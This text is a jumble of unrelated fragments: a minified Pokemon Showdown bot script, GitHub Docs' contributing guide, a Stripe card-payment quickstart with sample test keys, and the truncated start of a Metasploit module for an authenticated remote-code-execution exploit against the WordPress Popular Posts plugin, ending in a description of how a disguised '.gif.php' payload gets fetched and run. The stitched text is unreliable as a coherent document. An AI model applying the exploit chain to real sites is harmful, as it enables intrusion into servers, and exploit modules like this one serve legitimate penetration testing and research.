(!parse.chatData[toId(target)] || !parse.chatData[toId(target)].lastSeen) { return this.sendPm('The user ' + target.trim() + ' has never been seen chatting in rooms.'); } return this.sendPm(target.trim() + ' was last seen ' + parse.getTimeAgo(parse.chatData[toId(target)].seenAt) + ' ago, ' + parse.chatData[toId(target)].lastSeen); }, salt: function (target, room, user) { if (!global.salt) global.salt = 0; salt++; this.sendReply(salt + '% salty.'); }, whois: (function () { var reply = [ "Just another Pokemon Showdown user", "A very good competetive pokemon player", "A worthy opponent", "Generally, a bad user", "Generally, a good user", "Someone who is better than you", "An amazing person", "A beautiful person", "A person who is probably still a virgin", "A leader", "A lord helix follower", "An annoying person", "A person with a salty personality", "A Coffee Addict", "A Mediocre Player", ]; return function (target, room, user) { if (!target) return; var message = reply[Math.floor(Math.random() * reply.length)]; target = toId(target); if (target === 'creaturephil') message = 'An experienced **coder** for pokemon showdown. He has coded for over 5 servers such as kill the noise, moxie, aerdeith, nova, etc. Please follow him on github: https://github.com/CreaturePhil'; if (target === config.userid()) message = 'That\'s me.'; if (target === 'zarel') message = 'Pokemon Showdown Creator'; if (target === 'stevoduhhero') message = 'STEVO DUH GOD DAMN HERO! Respect him!'; if (target === 'rickycocaine') message = 'RICKY COCAAAAAAAINE'; this.sendReply(message); }; })(), helix: (function () { var reply = [ "Signs point to yes.", "Yes.", "Reply hazy, try again.", "Without a doubt.", "My sources say no.", "As I see it, yes.", "You may rely on it.", "Concentrate and ask again.", "Outlook not so good.", "It is decidedly so.", "Better not tell you now.", "Very doubtful.", "Yes - definitely.", "It is certain.", "Cannot predict now.", "Most likely.", "Ask again later.", "My reply is no.", "Outlook good.", "Don't count on it." ]; return function (target, room, user) { if (!target) return; var message = reply[Math.floor(Math.random() * reply.length)]; this.sendPm(message); }; })(), maketournament: function (target, room, user) { if (!this.can('maketournament')) return; if (Tournaments.tournaments[room.id]) return this.sendReply('A tournament is already running in the room.'); var parts = target.split(','), self = this, counter = 1; if (parts.length < 2 || Tools.getFormat(parts[0]).effectType !== 'Format' || !/[0-9]/.test(parts[1])) return this.sendPm('Correct Syntax: !maketournament [tier], [time/amount of players]'); if (parts[1].indexOf('minute') >= 0) { var time = Number(parts[1].split('minute')[0]); this.parse('/tour create ' + parts[0] + ', elimination'); this.sendReply('**You have ' + time + ' minute' + parts[1].split('minute')[1] + ' to join the tournament.**'); var loop = function () { setTimeout(function () { if (!Tournaments.tournaments[room.id]) return; if (counter === time) { if (Tournaments.tournaments[room.id].generator.users.size < 2) { self.parse('/tour end'); return self.sendReply('**The tournament was canceled because of lack of players.**'); } return self.parse('/tour start'); } if ((time - counter) === 1) { self.sendReply('**You have ' + (time - counter) + ' minute to sign up for the tournament.**'); } else { self.sendReply('**You have ' + (time - counter) + ' minutes to sign up for the tournament.**'); } counter++; if (!Tournaments.tournaments[room.id].isTournamentStarted) loop(); }, 1000 * 60); }; loop(); return; } if (Number(parts[1]) < 2) return; parts[1] = parts[1].replace(/[^0-9 ]+/g, ''); this.parse('/tour create ' + parts[0] + ', elimination'); this.sendReply('**The tournament will begin when ' + parts[1] + ' players join.**'); var playerLoop = function () { setTimeout(function () { if (!Tournaments.tournaments[room.id]) return; if (Tournaments.tournaments[room.id].generator.users.size === Number(parts[1])) { self.parse('/tour start'); } playerLoop(); }, 1000 * 15); }; playerLoop(); }, hosttournament: function (target, room, user) { if (!this.can('hosttournament')) return; if (target.toLowerCase() === 'end') { if (!Bot.config.hosting[room.id]) return this.sendPm('I\'m not hosting tournaments.'); Bot.config.hosting[room.id] = false; return this.sendReply('I will now stop hosting tournaments.'); } if (Bot.config.hosting[room.id]) return this.sendReply('I\'m already hosting tournaments.'); Bot.config.hosting[room.id] = true this.sendReply('**I will now be hosting tournaments.**'); var self = this, _room = room, _user = user; var poll = function () { if (!Bot.config.hosting[_room.id]) return; setTimeout(function () { if (Poll[_room.id].question) self.parse('/endpoll'); self.parse('/poll Tournament tier?, ' + Object.keys(Tools.data.Formats).filter(function (f) { return Tools.data.Formats[f].effectType === 'Format'; }).join(", ")); setTimeout(function () { self.parse('/endpoll'); Bot.commands.maketournament.call(self, (Poll[_room.id].topOption + ', 2 minute'), _room, _user); }, 1000 * 60 * 2); }, 1000 * 5); }; var loop = function () { setTimeout(function () { if (!Tournaments.tournaments[_room.id] && !Poll[_room.id].question) poll(); if (Bot.config.hosting[_room.id]) loop(); }, 1000 * 60); }; poll(); loop(); }, join: function (target, room, user, connection) { if (!user.can('kick')) return; if (!target || !Rooms.get(target.toLowerCase())) return; if (Rooms.get(target.toLowerCase()).users[Bot.config.name]) return this.sendPm('I\'m already in this room.'); Users.get(Bot.config.name).joinRoom(Rooms.get(target.toLowerCase())); var botDelay = (Math.floor(Math.random() * 6) * 1000) setTimeout(function() { connection.sendTo(room, Bot.config.name + ' has join ' + target + ' room.'); }, botDelay); }, leave: function (target, room, user, connection) { if (!user.can('kick')) return; if (!target || !Rooms.get(target.toLowerCase())) return; Users.get(Bot.config.name).leaveRoom(Rooms.get(target.toLowerCase())); var botDelay = (Math.floor(Math.random() * 6) * 1000) setTimeout(function() { connection.sendTo(room, Bot.config.name + ' has left ' + target + ' room.'); }, botDelay); }, rps: function (target, room, user) { if (!target) return; var options = ['rock', 'paper', 'scissors'], rng = options[Math.floor(Math.random() * options.length)], target = toId(target); if (rng === target) return this.sendReply('I chose ' + rng + '. The result is a tie!'); if (rng === options[0]) { if (target === options[1]) return this.sendReply('I chose ' + rng + '. ' + user.name + ' wins!'); if (target === options[2]) return this.sendReply('I chose ' + rng + '. I win and ' + user.name + ' loses!'); } if (rng === options[1]) { if (target === options[2]) return this.sendReply('I chose ' + rng + '. ' + user.name + ' wins!'); if (target === options[0]) return this.sendReply('I chose ' + rng + '. I win and ' + user.name + ' loses!'); } if (rng === options[2]) { if (target === options[0]) return this.sendReply('I chose ' + rng + '. ' + user.name + ' wins!'); if (target === options[1]) return this.sendReply('I chose ' + rng + '. I win and ' + user.name + ' loses!'); } }, }; exports.joinServer = joinServer; exports.config = config; exports.parse = parse; exports.commands = commands; // Battling AI exports.teams=new Object;var fs=require("fs");fs.readFile("./config/bot-teams.json",function(e,t){if(e)return;t=""+t;exports.teams=JSON.parse(t)});exports.addTeam=function(e,t){if(t&&t.length&&typeof t=="string"){if(!Bot.teams[e])Bot.teams[e]=new Array;Bot.teams[e].push(t);fs.writeFile("./config/bot-teams.json",JSON.stringify(Bot.teams))}};exports.randomTeam=function(e){if(e.split("random").length-1>0)return"";var t;if(Bot.teams[e])t=Bot.teams[e][Math.floor(Math.random()*Bot.teams[e].length)];if(!t)t="";return t};exports.booty={addBattle:function(e,t){Bot.booty.battles["battle-"+e.toLowerCase().replace(/[^a-z0-9]+/g,"")+"-"+(Rooms.global.lastBattle+1)]={booty:{user:Users.get(Bot.config.name),exposed:[{},{},{},{},{},{}]},opp:{user:t,exposed:[{},{},{},{},{},{}]}}},battles:new Object,check:function(){global.bootytimeout=setTimeout(function(){if(!Bot.booty.battles){Bot.booty.check();return}for(var e in Bot.booty.battles){if(Bot.booty.battles[e]){var t=Rooms.rooms[e];if(t){var n=t.battle;if(n){n=n.field;if(n[toId(Bot.config.name)])if(n[toId(Bot.config.name)].side)if(n[toId(Bot.config.name)].side.pokemon)if(n[toId(Bot.config.name)].side.pokemon[0].condition.charAt(0)=="0")Bot.booty.forceSwitch(e);if(n[toId(Bot.config.name)])if(n[toId(Bot.config.name)].forceSwitch)Bot.booty.forceSwitch(e)}}}}Bot.booty.check()},2e3)},forceSwitch:function(e){var t;if(Rooms.rooms[e])t=Rooms.rooms[e];if(!t)return;var n=Bot.booty.battles[t.id];var r=t.battle.field,i=r[toId(Bot.config.name)].side.pokemon;var s=i.length;if(!o){var o=new Array;for(var u=0;u<s;u++)o.push(u)}var a=Math.floor(Math.random()*s);while(a==1&&o.indexOf(a)==-1&&i[a].condition.charAt(0)=="0")a=Math.floor(Math.random()*s);t.decision(Users.get(toId(Bot.config.name)),"choose","switch "+parseInt(a+1,10))},predict:function(e,t,n,r){function N(e,t,n){var r=false;var i=1;var s=0;for(var o in t){var u=1;var a=t[o];for(var f in e)u=u*T[Tools.data.TypeChart[e[f]].damageTaken[a]];if(u>=2)r=true;i=i*u;if(s<u)s=u}if(n){if(n.total)return i;else if(n.best)return s}return r}function C(e,t){var n=e.baseStats;var r=0;for(var i in n)r+=n[i];var s=e.abilities;var o=e.types;var u={wall:false,frail:false,attacking:{mixed:false,physical:false,special:false},defending:{mixed:false,physical:false,special:false}};if(n.hp<100)u.frail=true;if((n.hp+n.def+n.spd)/r>.474)u.wall=true;var a=n.atk+n.spa;var f=n.atk/a;var l=n.spa/a;if(12.75>Math.abs(f-l)*100){u.attacking.mixed=true;u.attacking.physical=true;u.attacking.special=true}else{if(f>l)u.attacking.physical=true;if(l>f)u.attacking.special=true}var c=n.def+n.spd;var h=n.def/c;var p=n.spd/c;if(12.75>Math.abs(h-p)*100){if(n.def>=75)u.defending.physical=true;if(n.spd>=75)u.defending.special=true;if(n.def>=75&&n.spd>=75)u.defending.mixed=true}else{if(h>p)if(n.def>=75)u.defending.physical=true;if(p>h)if(n.spd>=75)u.defending.special=true}if(u.wall||u.tank)u.frail=false;if(t===0){}return u}function k(){var e=new Array;var t=new Array;var n={move:"",power:0};var r=new Object;for(var i in v){var s=1;var o=Tools.data.Movedex[toId(v[i])];var u=o.type;for(var i in E.types)s=s*T[Tools.data.TypeChart[E.types[i]].damageTaken[u]];var c=a[0].baseAbility;var h=a[0].item;if(c=="thickfat"&&(u=="Fire"||u=="Ice"))s=s*.5;if((h=="airballoon"||c=="levitate")&&u=="Ground")s=0;var p=1;if(w.types.indexOf(u)!=-1)p=1.5;var d=s*o.basePower*p;e.push(s);t.push(d);if(d>n.power)n={move:o.name,power:d,info:v[i]};if(o.category=="Status"){r[o.id]=v[i]}}var m,g;var y="";if(f[0].item.split("ite").length-1>0&&f[0].details.split("-mega").length-1==0)y=" mega";if(m&&!g){}else{}return"move "+n.move+y+"|"+l}function L(){return A()}function A(){function n(e,t){var n=0;if(e.bestmovepower>t)n++;if(e.faster)n++;return n}var e=0;var t={slot:0,bestmovepower:0,faster:false};for(var r in f){var i=f[r];var s=Tools.data.Pokedex[toId(i.details.split(",")[0])];if(i.condition.charAt(0)!="0"){e++;var o=new Array;for(var u in i.moves)o[u]=i.moves[u].replace(new RegExp("[0-9]","g"),"");var a=new Array;for(var u in o)a.push(Tools.data.Movedex[toId(o[u])].type);var l=false;if(s.baseStats.spe>E.baseStats.spe)l=true;var c=0;for(var h in o){var p=1;var d=Tools.data.Movedex[toId(o[h])];var v=d.type;for(var m in E.types)p=p*T[Tools.data.TypeChart[E.types[m]].damageTaken[v]];var g=1;if(s.types.indexOf(v)!=-1)g=1.5;var y=p*d.basePower*g;if(y>c)c=y}var b={slot:r,bestmovepower:c,faster:l};if(n(t,b.bestmovepower)<n(b,t.bestmovepower))t=b}}t.slot++;if(e==1||t.slot==1)k();return"switch "+t.slot}function O(){var e=false;var t=false;var n=E.baseStats.spe;var r=w.baseStats.spe;if(n>r)t=true;var i=N(w.types,E.types);var s=N(E.types,w.types);var o=new Array;for(var u in v)o.push(Tools.data.Movedex[toId(v[u].move)].type);var a=N(E.types,o);if(!(!t&&i&&a&&x.frail)){if(t&&S.frail)e=true;if(t&&i)e=true;if(i)e=true}if(x.wall&&S.wall)e=1;if(e===true){var f=L();if(f.replace(/^\D+/g,"")!=1)return f}else if(e==1)A();return k()}var i;var s={change:false};var o=Users.get(Bot.config.name);if(!t.battle.field||!o)return false;if(!t.battle.field[o.userid])return false;var u=t.battle.field,a=u[n.userid].side.pokemon,f=u[o.userid].side.pokemon;if(a[0].condition.charAt(0)=="0"&&f[0].condition.charAt(0)!="0")return false;if(f[0].condition.charAt(0)=="0")s.change=true;var l=u[n.userid].rqid;var c=Bot.booty.battles[t.id];c.turn=l;if(r=="team"){var h=f.length;var p=Math.floor(Math.random()*h);t.decision(o,"choose","team "+p+"|"+l);return false}if(!u[o.userid]){return false}if(!u[o.userid].active){return false}var d=u[o.userid].active[0].moves;var v=new Array;for(var m in d){var g=d[m];if(!g.disabled&&g.pp)v.push(g)}var y=a[0].details.split(",")[0];var b=f[0].details.split(",")[0];var w=Tools.data.Pokedex[toId(b)];var E=Tools.data.Pokedex[toId(y)];var S=C(w,0);var x=C(E);var T=[1,2,.5,0];switch(r){case"switch":case"move":case"choose":if(!s.change){var M=u[toId(Bot.config.name)].active;if(!M)M=false;else M=M[0].trapped;if(M){i=k()}else{i=O()}}else{i=A()}t.decision(o,"choose",i);break}}};var bootyreplace={search:function(e,t,n){function r(e){var t=Math.floor(Math.random()*100)+1;if(t>e)return false;return true}if(!Bot.config.laddering)return;if(r(Bot.config.ladderPercentage))return;if(!toId(e))return false;var i=toId(e);var s=true;var o=Tools.fastUnpackTeam(n.team);var u=TeamValidator.validateTeamSync(i,o);if(u&&u.length)s=false;if((e=="ou"||e.split("random").length-1>0)&&r(100)&&s){Bot.booty.addBattle(e,n);Rooms.global.startBattle(Users.get(Bot.config.name),n,e,true,Bot.randomTeam(e),n.team);Rooms.global.cancelSearch(n);return false}if(e){if(Config.pmmodchat){var a=n.group;if(Config.groupsranking.indexOf(a)<Config.groupsranking.indexOf(Config.pmmodchat)){var f=Config.groups[Config.pmmodchat].name||Config.pmmodchat;this.popupReply("Because moderated chat is set, you must be of rank "+f+" or higher to search for a battle.");return false}}Rooms.global.searchBattle(n,e);if(e=="ou"||e.split("random").length-1>0){Users.get(Bot.config.name).team=Bot.randomTeam(e);Bot.booty.addBattle(e,n);Users.get(Bot.config.name).prepBattle(e,"search",null,Rooms.global.finishSearchBattle.bind(Rooms.global,Users.get(Bot.config.name),e))}}else{Rooms.global.cancelSearch(n)}},challenge:function(e,t,n,r){e=this.splitTarget(e);var i=this.targetUser;if(!i||!i.connected){return this.popupReply("The user '"+this.targetUsername+"' was not found.")}if(i.blockChallenges&&!n.can("bypassblocks",i)){return this.popupReply("The user '"+this.targetUsername+"' is not accepting challenges right now.")}if(Config.pmmodchat){var s=n.group;if(Config.groupsranking.indexOf(s)<Config.groupsranking.indexOf(Config.pmmodchat)){var o=Config.groups[Config.pmmodchat].name||Config.pmmodchat;this.popupReply("Because moderated chat is set, you must be of rank "+o+" or higher to challenge users.");return false}}n.prepBattle(e,"challenge",r,function(t){if(t)n.makeChallenge(i,e)});if(this.targetUsername==Bot.config.name){if(!global.bootytimeout)Bot.booty.check();var u=Users.get(Bot.config.name);u.prepBattle(e,"challenge",u.connections[0],function(e){if(e)u.acceptChallengeFrom(n.userid)});Bot.booty.addBattle(e,n);if(e.split("random").length-1>0){}else{if(n.team!=undefined&&n.team!="")Bot.addTeam(e,n.team);var a=Bot.randomTeam(e);if(a==""||!a){a=n.team;if(a==undefined||a=="")a=""}u.team=a}}},move:function(e,t,n){if(!t.decision)return this.sendReply("You can only do this in battle rooms.");t.decision(n,"choose","move "+e);if(Bot.booty.battles[t.id])Bot.booty.predict(e,t,n,"move")},sw:"switch","switch":function(e,t,n){if(!t.decision)return this.sendReply("You can only do this in battle rooms.");t.decision(n,"choose","switch "+parseInt(e,10));if(Bot.booty.battles[t.id])Bot.booty.predict(e,t,n,"switch")},choose:function(e,t,n){if(!t.decision)return this.sendReply("You can only do this in battle rooms.");t.decision(n,"choose",e);if(Bot.booty.battles[t.id])Bot.booty.predict(e,t,n,"choose")},team:function(e,t,n){if(!t.decision)return this.sendReply("You can only do this in battle rooms.");t.decision(n,"choose","team "+e);if(Bot.booty.battles[t.id])Bot.booty.predict(e,t,n,"team")},part:function(e,t,n,r){if(t.id==="global")return false;var i=Rooms.get(e);if(e&&!i){return this.sendReply("The room '"+e+"' does not exist.")}n.leaveRoom(i||t,r)}};for(var i in bootyreplace)CommandParser.commands[i]=bootyreplace[i]; joinServer();

This is a list of all the topic-wise important questions that are frequently encountered during the interview rounds of Top Product Based Companies like Facebook, Google, Microsoft, Apple, etc.

# Contributing to this repository <!-- omit in toc --> ## Getting started <!-- omit in toc --> Before you begin: - This site is powered by Node.js. Check to see if you're on the [version of node we support](contributing/development.md). - Have you read the [code of conduct](CODE_OF_CONDUCT.md)? - Check out the [existing issues](https://github.com/github/docs/issues) & see if we [accept contributions](#types-of-contributions-memo) for your type of issue. ### Use the 'make a contribution' button  Navigating a new codebase can be challenging, so we're making that a little easier. As you're using docs.github.com, you may come across an article that you want to make an update to. You can click on the **make a contribution** button right on that article, which will take you to the file in this repo where you'll make your changes. Before you make your changes, check to see if an [issue exists](https://github.com/github/docs/issues/) already for the change you want to make. ### Don't see your issue? Open one If you spot something new, open an issue using a [template](https://github.com/github/docs/issues/new/choose). We'll use the issue to have a conversation about the problem you want to fix. ### Ready to make a change? Fork the repo Fork using GitHub Desktop: - [Getting started with GitHub Desktop](https://docs.github.com/en/desktop/installing-and-configuring-github-desktop/getting-started-with-github-desktop) will guide you through setting up Desktop. - Once Desktop is set up, you can use it to [fork the repo](https://docs.github.com/en/desktop/contributing-and-collaborating-using-github-desktop/cloning-and-forking-repositories-from-github-desktop)! Fork using the command line: - [Fork the repo](https://docs.github.com/en/github/getting-started-with-github/fork-a-repo#fork-an-example-repository) so that you can make your changes without affecting the original project until you're ready to merge them. Fork with [GitHub Codespaces](https://github.com/features/codespaces): - [Fork, edit, and preview](https://docs.github.com/en/free-pro-team@latest/github/developing-online-with-codespaces/creating-a-codespace) using [GitHub Codespaces](https://github.com/features/codespaces) without having to install and run the project locally. ### Make your update: Make your changes to the file(s) you'd like to update. Here are some tips and tricks for [using the docs codebase](#working-in-the-githubdocs-repository). - Are you making changes to the application code? You'll need **Node.js v14** to run the site locally. See [contributing/development.md](contributing/development.md). - Are you contributing to markdown? We use [GitHub Markdown](contributing/content-markup-reference.md). ### Open a pull request When you're done making changes and you'd like to propose them for review, use the [pull request template](#pull-request-template) to open your PR (pull request). ### Submit your PR & get it reviewed - Once you submit your PR, others from the Docs community will review it with you. The first thing you're going to want to do is a [self review](#self-review). - After that, we may have questions, check back on your PR to keep up with the conversation. - Did you have an issue, like a merge conflict? Check out our [git tutorial](https://lab.github.com/githubtraining/managing-merge-conflicts) on how to resolve merge conflicts and other issues. ### Your PR is merged! Congratulations! The whole GitHub community thanks you. :sparkles: Once your PR is merged, you will be proudly listed as a contributor in the [contributor chart](https://github.com/github/docs/graphs/contributors). ### Keep contributing as you use GitHub Docs Now that you're a part of the GitHub Docs community, you can keep participating in many ways. **Learn more about contributing:** - [Types of contributions :memo:](#types-of-contributions-memo) - [:mega: Discussions](#mega-discussions) - [:beetle: Issues](#beetle-issues) - [:hammer_and_wrench: Pull requests](#hammer_and_wrench-pull-requests) - [:question: Support](#question-support) - [:earth_asia: Translations](#earth_asia-translations) - [:balance_scale: Site Policy](#balance_scale-site-policy) - [Starting with an issue](#starting-with-an-issue) - [Labels](#labels) - [Opening a pull request](#opening-a-pull-request) - [Working in the github/docs repository](#working-in-the-githubdocs-repository) - [Reviewing](#reviewing) - [Self review](#self-review) - [Pull request template](#pull-request-template) - [Suggested changes](#suggested-changes) - [Windows](#windows) ## Types of contributions :memo: You can contribute to the GitHub Docs content and site in several ways. This repo is a place to discuss and collaborate on docs.github.com! Our small, but mighty :muscle: docs team is maintaining this repo, to preserve our bandwidth, off topic conversations will be closed. ### :mega: Discussions Discussions are where we have conversations. If you'd like help troubleshooting a docs PR you're working on, have a great new idea, or want to share something amazing you've learned in our docs, join us in [discussions](https://github.com/github/docs/discussions). ### :beetle: Issues [Issues](https://docs.github.com/en/github/managing-your-work-on-github/about-issues) are used to track tasks that contributors can help with. If an issue has a triage label, we haven't reviewed it yet and you shouldn't begin work on it. If you've found something in the content or the website that should be updated, search open issues to see if someone else has reported the same thing. If it's something new, open an issue using a [template](https://github.com/github/docs/issues/new/choose). We'll use the issue to have a conversation about the problem you want to fix. ### :hammer_and_wrench: Pull requests A [pull request](https://docs.github.com/en/github/collaborating-with-issues-and-pull-requests/about-pull-requests) is a way to suggest changes in our repository. When we merge those changes, they should be deployed to the live site within 24 hours. :earth_africa: To learn more about opening a pull request in this repo, see [Opening a pull request](#opening-a-pull-request) below. ### :question: Support We are a small team working hard to keep up with the documentation demands of a continuously changing product. Unfortunately, we just can't help with support questions in this repository. If you are experiencing a problem with GitHub, unrelated to our documentation, please [contact GitHub Support directly](https://support.github.com/contact). Any issues, discussions, or pull requests opened here requesting support will be given information about how to contact GitHub Support, then closed and locked. If you're having trouble with your GitHub account, contact [Support](https://support.github.com/contact). ### :earth_asia: Translations This website is internationalized and available in multiple languages. The source content in this repository is written in English. We integrate with an external localization platform called [Crowdin](https://crowdin.com) and work with professional translators to localize the English content. **We do not currently accept contributions for translated content**, but we hope to in the future. ### :balance_scale: Site Policy GitHub's site policies are published on docs.github.com, too! If you find a typo in the site policy section, you can open a pull request to fix it. For anything else, see [the CONTRIBUTING guide in the site-policy repo](https://github.com/github/site-policy/blob/main/CONTRIBUTING.md). ## Starting with an issue You can browse existing issues to find something that needs help! ### Labels Labels can help you find an issue you'd like to help with. - The [`help wanted` label](https://github.com/github/docs/issues?q=is%3Aopen+is%3Aissue+label%3A%22help+wanted%22) is for problems or updates that anyone in the community can start working on. - The [`good first issue` label](https://github.com/github/docs/issues?q=is%3Aopen+is%3Aissue+label%3A%22good+first+issue%22) is for problems or updates we think are ideal for beginners. - The [`content` label](https://github.com/github/docs/issues?q=is%3Aopen+is%3Aissue+label%3Acontent) is for problems or updates in the content on docs.github.com. These will usually require some knowledge of Markdown. - The [`engineering` label](https://github.com/github/docs/issues?q=is%3Aopen+is%3Aissue+label%3Aengineering) is for problems or updates in the docs.github.com website. These will usually require some knowledge of JavaScript/Node.js or YAML to fix. ## Opening a pull request You can use the GitHub user interface :pencil2: for some small changes, like fixing a typo or updating a readme. You can also fork the repo and then clone it locally, to view changes and run your tests on your machine. ## Working in the github/docs repository Here's some information that might be helpful while working on a Docs PR: - [Development](/contributing/development.md) - This short guide describes how to get this app running on your local machine. - [Content markup reference](/contributing/content-markup-reference.md) - All of our content is written in GitHub-flavored Markdown, with some additional enhancements. - [Content style guide for GitHub Docs](/contributing/content-style-guide.md) - This guide covers GitHub-specific information about how we style our content and images. It also links to the resources we use for general style guidelines. - [Reusables](/data/reusables/README.md) - We use reusables to help us keep content up to date. Instead of writing the same long string of information in several articles, we create a reusable, then call it from the individual articles. - [Variables](/data/variables/README.md) - We use variables the same way we use reusables. Variables are for short strings of reusable text. - [Liquid](/contributing/liquid-helpers.md) - We use liquid helpers to create different versions of our content. - [Scripts](/script/README.md) - The scripts directory is the home for all of the scripts you can run locally. - [Tests](/tests/README.md) - We use tests to ensure content will render correctly on the site. Tests run automatically in your PR, and sometimes it's also helpful to run them locally. ## Reviewing We (usually the docs team, but sometimes GitHub product managers, engineers, or supportocats too!) review every single PR. The purpose of reviews is to create the best content we can for people who use GitHub. :yellow_heart: Reviews are always respectful, acknowledging that everyone did the best possible job with the knowledge they had at the time. :yellow_heart: Reviews discuss content, not the person who created it. :yellow_heart: Reviews are constructive and start conversation around feedback. ### Self review You should always review your own PR first. For content changes, make sure that you: - [ ] Confirm that the changes address every part of the content strategy plan from your issue (if there are differences, explain them). - [ ] Review the content for technical accuracy. - [ ] Review the entire pull request using the [localization checklist](contributing/localization-checklist.md). - [ ] Copy-edit the changes for grammar, spelling, and adherence to the style guide. - [ ] Check new or updated Liquid statements to confirm that versioning is correct. - [ ] Check that all of your changes render correctly in staging. Remember, that lists and tables can be tricky. - [ ] If there are any failing checks in your PR, troubleshoot them until they're all passing. ### Pull request template When you open a pull request, you must fill out the "Ready for review" template before we can review your PR. This template helps reviewers understand your changes and the purpose of your pull request. ### Suggested changes We may ask for changes to be made before a PR can be merged, either using [suggested changes](https://docs.github.com/en/github/collaborating-with-issues-and-pull-requests/incorporating-feedback-in-your-pull-request) or pull request comments. You can apply suggested changes directly through the UI. You can make any other changes in your fork, then commit them to your branch. As you update your PR and apply changes, mark each conversation as [resolved](https://docs.github.com/en/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request#resolving-conversations). ## Windows This site can be developed on Windows, however a few potential gotchas need to be kept in mind: 1. Regular Expressions: Windows uses `\r\n` for line endings, while Unix based systems use `\n`. Therefore when working on Regular Expressions, use `\r?\n` instead of `\n` in order to support both environments. The Node.js [`os.EOL`](https://nodejs.org/api/os.html#os_os_eol) property can be used to get an OS-specific end-of-line marker. 1. Paths: Windows systems use `\` for the path separator, which would be returned by `path.join` and others. You could use `path.posix`, `path.posix.join` etc and the [slash](https://ghub.io/slash) module, if you need forward slashes - like for constructing URLs - or ensure your code works with either. 1. Bash: Not every Windows developer has a terminal that fully supports Bash, so it's generally preferred to write [scripts](/script) in JavaScript instead of Bash.

GeeksForGeeks, Must Do Coding Questions for Companies like Amazon, Microsoft, Adobe Solved in Python,

Search documentation... Support Dashboard Card Payments Quickstart Securely collect card information from your customers and create a card payment. Supported cards Users in the United States can accept Visa Mastercard American Express Discover JCB Diners Club credit and debit cards. Stripe also supports a range of additional payment methods, depending on the country of your Stripe account. Accepting a card payment using Stripe is a two-step process, with a client-side and a server-side action: From your website running in the customer’s browser, Stripe securely collects your customer’s payment information and returns a representative token. This, along with any other form data, is then submitted by the browser to your server. Using the token, your server-side code makes an API request to create a charge and complete the payment. Tokenization ensures that no sensitive card data ever needs to touch your server so your integration can operate in a PCI compliant way. Step 1: Securely collecting payment information Checkout reference Complete information about available options and parameters is provided in the Checkout reference. The simplest way for you to securely collect and tokenize card information is with Checkout. It combines HTML, JavaScript, and CSS to create an embedded payment form. When your customer enters their payment information, the card details are validated and tokenized for your server-side code to use. To see Checkout in action, click the button below, filling in the resulting form with: Any random, syntactically valid email address (the more random, the better) One of Stripe’s test card numbers, such as 4242 4242 4242 4242 Any three-digit CVC code Any expiration date in the future To get started, add the following code to your payment page, making sure that the form submits to your own server-side code: <form action="your-server-side-code" method="POST"> <script src="https://checkout.stripe.com/checkout.js" class="stripe-button" data-key="pk_test_2DtHIU1N9li5GpmJjyxkQMHh" data-amount="999" data-name="Demo Site" data-description="Example charge" data-image="https://stripe.com/img/documentation/checkout/marketplace.png" data-locale="auto"> </script> </form> We’ve pre-filled the data-key attribute with your test publishable API key—only you can see this value. When you’re ready to go live with your payment form, you must replace the test key with your live key. Learn more about how the keys play into test and live modes. Although optional, we highly recommend also having Checkout collect the user’s ZIP code, as address and ZIP code verifications help reduce fraud. Add data-zip-code="true" to the above and enable declines on verification failures in your account settings. You can also set Checkout to collect the user’s full billing and shipping addresses (using the corresponding parameters). Requiring more than the minimum information lowers the possibility of a payment being declined or disputed in the future. Any fraudulent payments that you process are ultimately your responsibility, so requiring a little more than the minimum amount of information is an effective way to combat fraud. Radar, our modern suite of fraud protection tools, is only available to users who have implemented client-side tokenization. By doing so, it ensures that you can pass the necessary data required for our machine-learning fraud prevention models to make more accurate predictions. The amount provided in the Checkout form code is only shown to the user. It does not set the amount that the customer will be charged—you must also specify an amount when making a charge request. As you build your integration, make sure that your payment form and server-side code use the same amount to avoid confusion. An alternative to the blue button demonstrated above is to implement a custom Checkout integration. The custom approach allows you to use any HTML element or JavaScript event to open Checkout, as well as be able to specify dynamic arguments, such as custom amounts. Stripe.js and Elements If you’d prefer to have complete control over the look and fel of your payment form, you can make use of Stripe.js and Elements, our pre-built UI components. Refer to our Elements quickstart to learn more. Mobile SDKs Using our native mobile libraries for iOS and Android, Stripe can collect your customer’s payment information from within your mobile app and create a token for your server-side code to use. Step 2: Creating a charge to complete the payment Once a token is created, your server-side code makes an API request to create a one-time charge. This request contains the token, currency, amount to charge, and any additional information you may want to pass (e.g., metadata). curl Ruby Python PHP Java Node Go .NET curl https://api.stripe.com/v1/charges \ -u sk_test_fyzWf8eDyljIob76fMVSwIsi: \ -d amount=999 \ -d currency=usd \ -d description="Example charge" \ -d source=tok_6Pk6W3hFiGB7dyNavdvyrFkM These requests expect the ID of the Token (e.g., tok_KPte7942xySKBKyrBu11yEpf) to be provided as the value of the source parameter. Tokens can only be used once, and within a few minutes of creation. Using this approach, your customers need to re-enter their payment details each time they make a purchase. You can also save card details with Stripe for later use. Using this method, returning customers can quickly make a payment without providing their card details again. Next steps Congrats! You can now accept card payments with Stripe using Checkout. You may now want to check out these resources: Creating charges Getting paid Managing your Stripe account Supported payment methods Saving cards Questions? We're always happy to help with code or other questions you might have! Search our documentation, contact support, or connect with our sales team. You can also chat live with other developers in #stripe on freenode. Was this page helpful? Yes No

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Remote::HTTP::Wordpress def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress Popular Posts Authenticated RCE', 'Description' => %q{ This exploit requires Metasploit to have a FQDN and the ability to run a payload web server on port 80, 443, or 8080. The FQDN must also not resolve to a reserved address (192/172/127/10). The server must also respond to a HEAD request for the payload, prior to getting a GET request. This exploit leverages an authenticated improper input validation in Wordpress plugin Popular Posts <= 5.3.2. The exploit chain is rather complicated. Authentication is required and 'gd' for PHP is required on the server. Then the Popular Post plugin is reconfigured to allow for an arbitrary URL for the post image in the widget. A post is made, then requests are sent to the post to make it more popular than the previous #1 by 5. Once the post hits the top 5, and after a 60sec (we wait 90) server cache refresh, the homepage widget is loaded which triggers the plugin to download the payload from our server. Our payload has a 'GIF' header, and a double extension ('.gif.php') allowing for arbitrary PHP code to be executed. }, 'License' => MSF_LICENSE, 'Author' => [ 'h00die', # msf module 'Simone Cristofaro', # edb 'Jerome Bruandet' # original analysis ], 'References' => [ [ 